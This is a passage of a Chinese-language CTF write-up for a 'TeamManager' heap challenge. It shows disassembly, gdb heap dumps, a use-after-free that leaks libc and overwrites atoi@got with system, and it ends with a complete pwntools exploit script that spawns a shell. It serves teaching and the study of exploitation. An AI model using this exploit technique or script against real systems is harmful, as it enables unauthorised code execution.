|           0x00401d2f      4889c7         mov rdi, rax
|           0x00401d32      e869efffff     call sym.imp.strlen         ; size_t strlen(const char *s)
|           0x00401d37      4889c3         mov rbx, rax
|           0x00401d3a      488b052f1420.  mov rax, qword [obj.selected] ; [0x603170:8]=0
|           0x00401d41      488b4010       mov rax, qword [rax + 0x10] ; [0x10:8]=-1 ; 16
|           0x00401d45      4889c7         mov rdi, rax
|           0x00401d48      e853efffff     call sym.imp.strlen         ; size_t strlen(const char *s)
|           0x00401d4d      4839c3         cmp rbx, rax
|       ,=< 0x00401d50      7667           jbe 0x401db9                 ; rab == rax,成功跳转
|       |   0x00401d52      488d85e0feff.  lea rax, rbp - 0x120
|       |   0x00401d59      4889c7         mov rdi, rax
|       |   0x00401d5c      e83fefffff     call sym.imp.strlen         ; size_t strlen(const char *s)
|       |   0x00401d61      488d5001       lea rdx, rax + 1            ; 1
|       |   0x00401d65      488b05041420.  mov rax, qword [obj.selected] ; [0x603170:8]=0
|       |   0x00401d6c      488b4010       mov rax, qword [rax + 0x10] ; [0x10:8]=-1 ; 16
|       |   0x00401d70      4889d6         mov rsi, rdx
|       |   0x00401d73      4889c7         mov rdi, rax
|       |   0x00401d76      e865f0ffff     call sym.imp.realloc        ; void *realloc(void *ptr, size_t size)
|       |   0x00401d7b      488985d8feff.  mov qword [local_128h], rax
|       |   0x00401d82      4883bdd8feff.  cmp qword [local_128h], 0
|      ,==< 0x00401d8a      751b           jne 0x401da7
|      ||   0x00401d8c      bf7a254000     mov edi, str.Could_not_realloc_: ; 0x40257a ; "Could not realloc :("
|      ||   0x00401d91      e8eaeeffff     call sym.imp.puts           ; int puts(const char *s)
|      ||   0x00401d96      488b05c31320.  mov rax, qword [obj.stdout] ; [0x603160:8]=0
|      ||   0x00401d9d      4889c7         mov rdi, rax
|      ||   0x00401da0      e81bf0ffff     call sym.imp.fflush         ; int fflush(FILE *stream)
|     ,===< 0x00401da5      eb2f           jmp 0x401dd6
|     |||      ; JMP XREF from 0x00401d8a (sym.set_name)
|     |`--> 0x00401da7      488b05c21320.  mov rax, qword [obj.selected] ; [0x603170:8]=0
|     | |   0x00401dae      488b95d8feff.  mov rdx, qword [local_128h]
|     | |   0x00401db5      48895010       mov qword [rax + 0x10], rdx
|     | |      ; JMP XREF from 0x00401d50 (sym.set_name)
|     | `-> 0x00401db9      488b05b01320.  mov rax, qword [obj.selected] ; [0x603170:8]=0 ; 取出选中球员的地址
|     |     0x00401dc0      488b4010       mov rax, qword [rax + 0x10] ; [0x10:8]=-1 ; 16 ; player.name 字段,即 atoi@got
|     |     0x00401dc4      488d95e0feff.  lea rdx, rbp - 0x120         ; system@got
|     |     0x00401dcb      4889d6         mov rsi, rdx                 ; rsi <- rdx
|     |     0x00401dce      4889c7         mov rdi, rax                 ; rdi <- rax
|     |     0x00401dd1      e89aeeffff     call sym.imp.strcpy         ; char *strcpy(char *dest, const char *src) ; 用 system 的地址覆盖 atoi 的地址
|     |        ; JMP XREF from 0x00401da5 (sym.set_name)
|     `---> 0x00401dd6      488b45e8       mov rax, qword [local_18h]
|           0x00401dda      644833042528.  xor rax, qword fs:[0x28]
|       ,=< 0x00401de3      7405           je 0x401dea
|       |   0x00401de5      e8d6eeffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |      ; JMP XREF from 0x00401de3 (sym.set_name)
|       `-> 0x00401dea      4881c4280100.  add rsp, 0x128
|           0x00401df1      5b             pop rbx
|           0x00401df2      5d             pop rbp
\           0x00401df3      c3             ret

动态分析

漏洞大概清楚了,我们使用 gdb 动态调试一下,为了方便分析,先关闭 ASRL。gef 有个很强大的命令 heap-analysis-helper,可以追踪 malloc()free()realloc() 等函数的调用:

gef➤  heap-analysis-helper 
[*] This feature is under development, expect bugs and unstability...
[+] Tracking malloc()
[+] Tracking free()
[+] Tracking realloc()
[+] Disabling hardware watchpoints (this may increase the latency)
[+] Dynamic breakpoints correctly setup, GEF will break execution if a possible vulnerabity is found.
[*] Note: The heap analysis slows down noticeably the execution. 
gef➤  c
Continuing.
Welcome to your TeamManager (TM)!
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice: 1   
Found free slot: 0
[+] Heap-Analysis - malloc(24)=0x604010
Enter player name: aaaa
[+] Heap-Analysis - malloc(5)=0x604030
Enter attack points: 1
Enter defense points: 2
Enter speed: 3
Enter precision: 4
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice: 2
Enter index: 0
[+] Heap-Analysis - free(0x604030)
[+] Heap-Analysis - watching 0x604030
[+] Heap-Analysis - free(0x604010)
[+] Heap-Analysis - watching 0x604010
She's gone!

很好地验证了球员分配和删除的过程。

漏洞利用

alloc and select

然后是内存,根据我们对堆管理机制的理解,这里选择使用 small chunk(球员 name chunk):

alloc('A' * 0x60)
alloc('B' * 0x80)
alloc('C' * 0x80)
select(1)
gef➤  x/4gx 0x603180
0x603180 <players>:	0x0000000000604010	0x00000000006040a0
0x603190 <players+16>:	0x0000000000604150	0x0000000000000000
gef➤  x/70gx 0x604010-0x10
0x604000:	0x0000000000000000	0x0000000000000021 <-- player 0 <-- actual player chunk
0x604010:	0x0000000200000001	0x0000000400000003              <-- pointer returned by malloc
0x604020:	0x0000000000604030	0x0000000000000071 <-- name 0   <-- player's name chunk
0x604030:	0x4141414141414141	0x4141414141414141
0x604040:	0x4141414141414141	0x4141414141414141
0x604050:	0x4141414141414141	0x4141414141414141
0x604060:	0x4141414141414141	0x4141414141414141
0x604070:	0x4141414141414141	0x4141414141414141
0x604080:	0x4141414141414141	0x4141414141414141
0x604090:	0x0000000000000000	0x0000000000000021 <-- player 1
0x6040a0:	0x0000000200000001	0x0000000400000003              <-- selected
0x6040b0:	0x00000000006040c0	0x0000000000000091 <-- name 1
0x6040c0:	0x4242424242424242	0x4242424242424242
0x6040d0:	0x4242424242424242	0x4242424242424242
0x6040e0:	0x4242424242424242	0x4242424242424242
0x6040f0:	0x4242424242424242	0x4242424242424242
0x604100:	0x4242424242424242	0x4242424242424242
0x604110:	0x4242424242424242	0x4242424242424242
0x604120:	0x4242424242424242	0x4242424242424242
0x604130:	0x4242424242424242	0x4242424242424242
0x604140:	0x0000000000000000	0x0000000000000021 <-- player 2
0x604150:	0x0000000200000001	0x0000000400000003
0x604160:	0x0000000000604170	0x0000000000000091 <-- name 2
0x604170:	0x4343434343434343	0x4343434343434343
0x604180:	0x4343434343434343	0x4343434343434343
0x604190:	0x4343434343434343	0x4343434343434343
0x6041a0:	0x4343434343434343	0x4343434343434343
0x6041b0:	0x4343434343434343	0x4343434343434343
0x6041c0:	0x4343434343434343	0x4343434343434343
0x6041d0:	0x4343434343434343	0x4343434343434343
0x6041e0:	0x4343434343434343	0x4343434343434343
0x6041f0:	0x0000000000000000	0x0000000000020e11              <-- top chunk
0x604200:	0x0000000000000000	0x0000000000000000
0x604210:	0x0000000000000000	0x0000000000000000
0x604220:	0x0000000000000000	0x0000000000000000
gef➤  p selected 
$2 = 0x6040a0

free

然后:

free(1)
gef➤  x/4gx 0x603180
0x603180 <players>:	0x0000000000604010	0x0000000000000000 <-- set zero
0x603190 <players+16>:	0x0000000000604150	0x0000000000000000
gef➤  x/70gx 0x604010-0x10
0x604000:	0x0000000000000000	0x0000000000000021 <-- player 0
0x604010:	0x0000000200000001	0x0000000400000003
0x604020:	0x0000000000604030	0x0000000000000071 <-- name 0
0x604030:	0x4141414141414141	0x4141414141414141
0x604040:	0x4141414141414141	0x4141414141414141
0x604050:	0x4141414141414141	0x4141414141414141
0x604060:	0x4141414141414141	0x4141414141414141
0x604070:	0x4141414141414141	0x4141414141414141
0x604080:	0x4141414141414141	0x4141414141414141
0x604090:	0x0000000000000000	0x0000000000000021 <-- player 1 [be freed] <-- fastbins
0x6040a0:	0x0000000000000000	0x0000000400000003              <-- selected
0x6040b0:	0x00000000006040c0	0x0000000000000091 <-- name 1 [be freed] <-- unsorted_bin
0x6040c0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78              <-- fd | bk
0x6040d0:	0x4242424242424242	0x4242424242424242
0x6040e0:	0x4242424242424242	0x4242424242424242
0x6040f0:	0x4242424242424242	0x4242424242424242
0x604100:	0x4242424242424242	0x4242424242424242
0x604110:	0x4242424242424242	0x4242424242424242
0x604120:	0x4242424242424242	0x4242424242424242
0x604130:	0x4242424242424242	0x4242424242424242
0x604140:	0x0000000000000090	0x0000000000000020 <-- player 2
0x604150:	0x0000000200000001	0x0000000400000003
0x604160:	0x0000000000604170	0x0000000000000091 <-- name 2
0x604170:	0x4343434343434343	0x4343434343434343
0x604180:	0x4343434343434343	0x4343434343434343
0x604190:	0x4343434343434343	0x4343434343434343
0x6041a0:	0x4343434343434343	0x4343434343434343
0x6041b0:	0x4343434343434343	0x4343434343434343
0x6041c0:	0x4343434343434343	0x4343434343434343
0x6041d0:	0x4343434343434343	0x4343434343434343
0x6041e0:	0x4343434343434343	0x4343434343434343
0x6041f0:	0x0000000000000000	0x0000000000020e11              <-- top chunk
0x604200:	0x0000000000000000	0x0000000000000000
0x604210:	0x0000000000000000	0x0000000000000000
0x604220:	0x0000000000000000	0x0000000000000000
gef➤  p selected 
$3 = 0x6040a0
gef➤  heap bins
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x6040a0, size=0x20, flags=PREV_INUSE)
gef➤  heap bins unsorted 
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x6040b0, bk=0x6040b0
 →   Chunk(addr=0x6040c0, size=0x90, flags=PREV_INUSE)

我们知道,当一个 small chunk 被释放后,会被放到 unsorted bin 中,这是一个双向链表,它的 fd 指针指向了链表的头部,即地址 0x00007ffff7dd1b78。然后使用命令 vmmap 获得 libc 被加载的地址,用链表头部地址减掉它,得到偏移。当开启 ASLR 后,其地址会变,但偏移不变。同时,释放的 player 1 chunk 被加入到 fastbins 单链表中。

[0x00400ec0]> ?v 0x00007ffff7dd1b78 - 0x00007ffff7a0d000
0x3c4b78

再次 free,将 player 2 释放,因为 player 1 也是被释放的状态,所以两个 chunk 会被合并(其实 player 是 fast chunk,不会被合并,真正合并的是 name chunk):

free(2)
gef➤  x/4gx 0x603180
0x603180 <players>:	0x0000000000604010	0x0000000000000000
0x603190 <players+16>:	0x0000000000000000	0x0000000000000000
gef➤  x/70gx 0x604010-0x10
0x604000:	0x0000000000000000	0x0000000000000021 <-- player 0
0x604010:	0x0000000200000001	0x0000000400000003
0x604020:	0x0000000000604030	0x0000000000000071 <-- name 0
0x604030:	0x4141414141414141	0x4141414141414141
0x604040:	0x4141414141414141	0x4141414141414141
0x604050:	0x4141414141414141	0x4141414141414141
0x604060:	0x4141414141414141	0x4141414141414141
0x604070:	0x4141414141414141	0x4141414141414141
0x604080:	0x4141414141414141	0x4141414141414141
0x604090:	0x0000000000000000	0x00000000000000b1 <-- player 1 [be freed] <-- unsorted_bin
0x6040a0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78              <-- selected
0x6040b0:	0x00000000006040c0	0x0000000000000091 <-- player 2 [be freed]
0x6040c0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x6040d0:	0x4242424242424242	0x4242424242424242
0x6040e0:	0x4242424242424242	0x4242424242424242
0x6040f0:	0x4242424242424242	0x4242424242424242
0x604100:	0x4242424242424242	0x4242424242424242
0x604110:	0x4242424242424242	0x4242424242424242
0x604120:	0x4242424242424242	0x4242424242424242
0x604130:	0x4242424242424242	0x4242424242424242
0x604140:	0x00000000000000b0	0x0000000000000020              <-- fastbins
0x604150:	0x0000000000000000	0x0000000400000003
0x604160:	0x0000000000604170	0x0000000000020ea1
0x604170:	0x4343434343434343	0x4343434343434343
0x604180:	0x4343434343434343	0x4343434343434343
0x604190:	0x4343434343434343	0x4343434343434343
0x6041a0:	0x4343434343434343	0x4343434343434343
0x6041b0:	0x4343434343434343	0x4343434343434343
0x6041c0:	0x4343434343434343	0x4343434343434343
0x6041d0:	0x4343434343434343	0x4343434343434343
0x6041e0:	0x4343434343434343	0x4343434343434343
0x6041f0:	0x0000000000000000	0x0000000000020e11              <-- top chunk
0x604200:	0x0000000000000000	0x0000000000000000
0x604210:	0x0000000000000000	0x0000000000000000
0x604220:	0x0000000000000000	0x0000000000000000
gef➤  p selected 
$4 = 0x6040a0
gef➤  heap bins fast 
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x604150, size=0x20, flags=)
gef➤  heap bins unsorted 
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x604090, bk=0x604090
 →   Chunk(addr=0x6040a0, size=0xb0, flags=PREV_INUSE)

alloc again

添加一个球员,player chunk 将从 fastbins 链表中取出,而 name chunk 将从 unsorted_bin 中取出:

alloc('D'*16 + p64(atoi_got))
gef➤  x/4gx 0x603180
0x603180 <players>:	0x0000000000604010	0x0000000000604150
0x603190 <players+16>:	0x0000000000000000	0x0000000000000000
gef➤  x/70gx 0x604010-0x10
0x604000:	0x0000000000000000	0x0000000000000021 <-- player 0
0x604010:	0x0000000200000001	0x0000000400000003
0x604020:	0x0000000000604030	0x0000000000000071 <-- name 0
0x604030:	0x4141414141414141	0x4141414141414141
0x604040:	0x4141414141414141	0x4141414141414141
0x604050:	0x4141414141414141	0x4141414141414141
0x604060:	0x4141414141414141	0x4141414141414141
0x604070:	0x4141414141414141	0x4141414141414141
0x604080:	0x4141414141414141	0x4141414141414141
0x604090:	0x0000000000000000	0x0000000000000021 <-- name 3
0x6040a0:	0x4444444444444444	0x4444444444444444              <-- selected
0x6040b0:	0x0000000000603110	0x0000000000000091              <-- unsorted_bin
0x6040c0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x6040d0:	0x4242424242424242	0x4242424242424242
0x6040e0:	0x4242424242424242	0x4242424242424242
0x6040f0:	0x4242424242424242	0x4242424242424242
0x604100:	0x4242424242424242	0x4242424242424242
0x604110:	0x4242424242424242	0x4242424242424242
0x604120:	0x4242424242424242	0x4242424242424242
0x604130:	0x4242424242424242	0x4242424242424242
0x604140:	0x0000000000000090	0x0000000000000020 <-- player 3
0x604150:	0x0000000200000001	0x0000000400000003
0x604160:	0x00000000006040a0	0x0000000000020ea1
0x604170:	0x4343434343434343	0x4343434343434343
0x604180:	0x4343434343434343	0x4343434343434343
0x604190:	0x4343434343434343	0x4343434343434343
0x6041a0:	0x4343434343434343	0x4343434343434343
0x6041b0:	0x4343434343434343	0x4343434343434343
0x6041c0:	0x4343434343434343	0x4343434343434343
0x6041d0:	0x4343434343434343	0x4343434343434343
0x6041e0:	0x4343434343434343	0x4343434343434343
0x6041f0:	0x0000000000000000	0x0000000000020e11              <-- top chunk
0x604200:	0x0000000000000000	0x0000000000000000
0x604210:	0x0000000000000000	0x0000000000000000
0x604220:	0x0000000000000000	0x0000000000000000
gef➤  p selected 
$5 = 0x6040a0
gef➤  heap bins unsorted 
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x6040b0, bk=0x6040b0
 →   Chunk(addr=0x6040c0, size=0x90, flags=PREV_INUSE)

edit and get shell

编辑 selected 处的 chunck,即 name 3:

# atoi@got -> system@got
edit(p64(system))

# get shell
p.recvuntil('choice: ')
p.sendline('sh')

函数 atoi@got 已经被我们覆盖为 system@got,当调用 atoi 时,实际上是执行了 system(‘sh’):

gef➤  p atoi
$2 = {int (const char *)} 0x7ffff7a43e80 <atoi>
gef➤  x/gx 0x603110
0x603110:	0x00007ffff7a52390

到这里,我们可以重新启用 ASLR 了,该保护机制已经被绕过。

Bingo!!!

$ python exp.py 
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] leak   => 0x7fcd41824b78
[*] libc   => 0x7fcd41460000
[*] system => 0x7fcd414a5390
[*] Switching to interactive mode
$ whoami
firmy

exploit

完整的 exp 如下:

from pwn import *

# context.log_level = 'debug'

p = remote('127.0.0.1', 10001)
# p = process('./main.elf')

def alloc(name, attack = 1, defense = 2, speed = 3, precision = 4):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('name: ')
    p.sendline(name)
    p.recvuntil('points: ')
    p.sendline(str(attack))
    p.recvuntil('points: ')
    p.sendline(str(defense))
    p.recvuntil('speed: ')
    p.sendline(str(speed))
    p.recvuntil('precision: ')
    p.sendline(str(precision))

def free(idx):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('index: ')
    p.sendline(str(idx))

def select(idx):
    p.recvuntil('choice: ')
    p.sendline('3')
    p.recvuntil('index: ')
    p.sendline(str(idx))

def edit(name):
    p.recvuntil('choice: ')
    p.sendline('4')
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('name: ')
    p.sendline(name)

def show():
    p.recvuntil('choice: ')
    p.sendline('5')

# gdb.attach(p, '''
# b *0x00402205
# c
# ''')

atoi_got = 0x603110

alloc('A' * 0x60)
alloc('B' * 0x80)
alloc('C' * 0x80)
select(1)

free(1)
show()
p.recvuntil('Name: ')

leak    = u64(p.recv(6).ljust(8, '\x00'))
libc    = leak - 0x3c4b78   # 0x3c4b78 = leak - libc
system  = libc + 0x045390   # $ readelf -s libc.so.6 | grep system@

log.info("leak   => 0x%x" % leak)
log.info("libc   => 0x%x" % libc)
log.info("system => 0x%x" % system)

free(2)

alloc('D'*16 + p64(atoi_got))

# atoi@got -> system@got
edit(p64(system))

# get shell
p.recvuntil('choice: ')
p.sendline('sh')
p.interactive()

参考资料

https://ctftime.org/task/4528